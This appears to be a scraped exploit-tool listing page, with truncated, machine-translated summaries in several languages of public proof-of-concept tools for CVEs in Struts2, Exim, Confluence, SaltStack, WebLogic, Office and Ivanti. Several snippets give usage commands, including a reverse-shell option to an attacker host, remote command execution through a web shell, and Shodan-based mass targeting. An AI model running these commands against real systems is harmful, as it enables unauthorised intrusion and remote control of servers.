cve-2022-29464

cve-2022-29464 अस्वीकरण root@kitploit: 脚本仅供学习参考，请勿恶意攻击他人网站 如违法乱纪，造成一切后果由使用者自行承担 技术无罪，与作者无关 使用脚本默认同意以上说明！ --Author:lowkey0808 उपयोग विधि root@kitploit: usage: python3 -u url cve-2022-29464 optional arguments: -h, --help show this help message and exit -u 目标url -s 上传的木马,默认上传内置shell.jsp सीधे कमांड...

cve-2020-11651-exp-plus

बैश के साथ --exec पैरामीटर निष्पादित करें, मूल स्क्रिप्ट /bin/sh थी, इसलिए कुछ कमांड संगत नहीं हैं जैसे bash रिवर्स शेल। 2. मूल कोड स्थानीय salt-master के संस्करण को प्राप्त करके यह निर्धारित करता था कि दूरस्थ होस्ट प्रभावित है या नहीं, जो एक स्पष्ट तार्किक त्रुटि है। मैंने संबंधित कोड को सीधे...

Apache-Struts-2-CVE-2017-5638-Exploit-

Apache-Struts-2-CVE-2017-5638-Exploit يستغل هذا الاستغلال ثغرة Apache Struts2 CVE-2017-5638، مما يسمح لنا بتنفيذ الأوامر عن بُعد على خادم Apache طريقة الاستخدام: $ sudo python Struts2Shell001.py root@kitploit: ! استغلال Apache Struts2 عرض توضيحي كود Rvbk + المضيف مع https موقع به ثغرة عبارة بحث...

PoC_CVE-2019-10149--rce

परिचय एक कमजोर exim सेवा से शेल में रिमोट कमांड निष्पादन। कमजोर संस्करण 4.87 से 4.91 सम्मिलित तक हैं। https://nvd.nist.gov/vuln/detail/cve-2019-10149 देखें। निम्नलिखित स्क्रिप्ट Qualys PoC पर आधारित है। https://packetstormsecurity.com/files/153218/Exim-4.9.1-Remote-Command-Execution.html देखें।...

WP-CVE-2016-10033

WordPress = 4.6 कमांड निष्पादन भेद्यता PHPMailer CVE-2016-10033 भेद्यता जानकारी WordPress PHP भाषा में विकसित एक ब्लॉग प्लेटफ़ॉर्म है, जिसकी सहायता से उपयोगकर्ता PHP और MySQL डेटाबेस का समर्थन करने वाले सर्वर पर अपनी वेबसाइट स्थापित कर सकते हैं। WordPress को एक सामग्री प्रबंधन प्रणाली CMS के रूप...

CVE-2017-11882-exp

CVE-2017-11882 سكربت 43b الأصلي مأخوذ من https://github.com/embedi/CVE-2017-11882 سكربت 109b الأصلي مأخوذ من https://github.com/unamer/CVE-2017-11882/ （تحية واحترام له، الآن كود unamer أصبح قادراً على تنفيذ shellcode） CVE-2017-11882:...

CVE-2017-11882

CVE-2017-11882 43b النص الأصلي مأخوذ من https://github.com/embedi/CVE-2017-11882 109b النص الأصلي مأخوذ من https://github.com/unamer/CVE-2017-11882/ تحية، الآن كود unamer يمكنه تنفيذ shellcode CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE CVE-2017-11882...

cve-2018-11776-docker

Conteneur Docker CVE-2018-11776 et POC d'exploitation écrit en Go Vous pouvez construire votre propre image et l'exécuter : root@kitploit: docker build . -t yourimagename docker container run -it --rm -p 8080:8080 yourimagename Ou vous pouvez simplement récupérer celle que j'ai créée avec amour...

CVE-2018-2628

CVE-2018-2628 0x01 Scan Nessus 0x02 K8 Tools GetShell 0x03 Requête CMD Méthode d'utilisation: root@kitploit: python cve-2018-2628.py set url :http://xx.xx.xx.xx:8001/beawlsinternal/wlscmd.jsp cmd : whoami win-xxx8cb989qh\administrator cmd : net user \WIN-XXX8CB989QH 的用户帐户...

CVE-2018-0802_CVE-2017-11882

RTF118820802 CVE-2017-11882 CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 MITRE CVE-2017-11882: https://vulners.com/cve/CVE-2017-11882 Recherche: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about Analyse du...

CVE-2025-0282-Ivanti-exploit

CVE-2025-0282-Ivanti-शोषण CVE-2025-0282 एक महत्वपूर्ण कमजोरी है जो Ivanti Connect Secure में पाई गई है, जो बफर ओवरफ्लो शोषण के माध्यम से रिमोट कमांड निष्पादन RCE की अनुमति देती है। यह कमजोरी हमलावरों को दुर्भावनापूर्ण फ़ाइलें जैसे वेब शेल अपलोड करने और लक्ष्य प्रणाली पर उन्नत विशेषाधिकारों के साथ...

Apache-CVE-2021-41773

CVE-2021-41773 Apache HTTP Server Path Traversal Contributeurs 이희수@lheeeesoo Apache HTTP Server 2.4.49 présente une vulnérabilité dans le processus de normalisation des chemins URL qui ne bloque pas correctement les chemins parents encodés. Un attaquant peut utiliser des valeurs telles que .%2e...

ActiveMQ-RCE

ActiveMQ RCE Versions concernées version open -a calculator Lancez un serveur http root@kitploit: python3 -m http.server Exécutez le fichier Main.java modifiez l'adresse si nécessaire...

CVE-2017-1000117

CVE-2017-1000117 يمكن للجهات الخبيثة استغلال روابط "ssh://…" المُعدّة بمكر لدفع الضحية إلى زيارة الرابط الخبيث عند تنفيذ برامج أو عمليات أخرى، مما يحقق تنفيذ الأوامر. يمكن وضع هذا الرابط داخل ملف .gitmodules في مشروع git، وعندما يقوم الضحية بعملية git clone --recurse-submodules أو git clone...

CVE-2022-26134

CVE-2022-26134 स्थापना root@kitploit: py डाउनलोड करें, स्थानीय cmd में चलाएँ उपयोग poc root@kitploit: python3 CVE-2022-26134.py -u http://www.xxx.com exp root@kitploit: python3 CVE-2022-26134.py -u http://www.xxx.com -c id अस्वीकरण🧐 यह उपकरण केवल कानूनी रूप से अधिकृत उद्यम सुरक्षा निर्माण...

CVE-2021-46422

CVE-2021-46422 Installation root@kitploit: 下载py,使用cmd打开 Utilisation poc root@kitploit: python3 CVE-2021-46422.py -u url exp root@kitploit: python3 tpexp.py -u http://www.xxx.com -c id Avertissement🧐 Cet outil est destiné uniquement à des activités légitimes et autorisées de renforcement de la...

CVE-2026-24061

ماسح ومستغل ثغرات Telnet هذا السكربت main.py هو أداة متعددة الخيوط مصممة لفحص قائمة من عناوين IP/أسماء المضيفين ومحاولة استغلال ثغرة محددة عبر Telnet. !WARNING هذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق المصرّح به فقط. لا تستخدمها ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. كيف يع...

CVE-2022-26134

CVE-2022-26134 1. قم أولاً بتشغيل سكربتات shodan لجلب جميع عناوين IP python3 shodanscript.py -API yourapi -L limit -D "http.favicon.hash:-305179312 200" log.txt ex: python3 shodanscript.py -API xxxxxxx -L 10 -D "http.favicon.hash:-305179312 200" log.txt 2. لجميع عناوين IP الصالحة: cat log.txt |...

RadareEye

أداة لمسح الأجهزة القريبة وتنفيذ أمر عندما يدخل الجهاز المستهدف ضمن النطاق. ملاحظة:- مالك RadareEye لن يكون مسؤولاً إذا قام أي مستخدم بأنشطة ضارة باستخدام هذه الأداة. استخدمها لأغراض التعلم فقط. تثبيت RadareEye : root@kitploit: git clone https://github.com/souravbaghz/RadareEye الاستخدام:...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 إكسبلويت root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py...